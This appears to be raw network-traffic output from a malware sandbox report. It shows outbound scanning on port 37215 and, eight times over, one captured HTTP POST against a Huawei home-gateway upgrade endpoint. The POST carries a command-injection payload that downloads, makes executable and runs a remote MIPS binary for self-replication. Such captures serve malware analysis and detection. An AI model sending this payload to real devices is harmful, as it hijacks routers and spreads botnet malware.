Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 157.55.94.73:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 197.37.235.222:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 197.185.84.46:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 100.55.18.105:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 157.138.25.36:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 41.82.94.85:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 24.156.245.191:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 41.179.134.6:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 157.16.108.112:37215
Source: global traffic	TCP traffic: 192.168.2.23:42031 -> 197.234.131.126:37215

Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 458Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 38 38 2e 32 34 34 2e 31 38 39 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.188.244.189 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 458Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 38 38 2e 32 34 34 2e 31 38 39 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.188.244.189 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 458Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 38 38 2e 32 34 34 2e 31 38 39 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.188.244.189 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 458Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 38 38 2e 32 34 34 2e 31 38 39 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.188.244.189 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 458Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 38 38 2e 32 34 34 2e 31 38 39 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.188.244.189 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 458Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 38 38 2e 32 34 34 2e 31 38 39 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.188.244.189 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 458Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 38 38 2e 32 34 34 2e 31 38 39 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.188.244.189 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 458Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 38 38 2e 32 34 34 2e 31 38 39 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.188.244.189 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 458Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 38 38 2e 32 34 34 2e 31 38 39 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.188.244.189 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
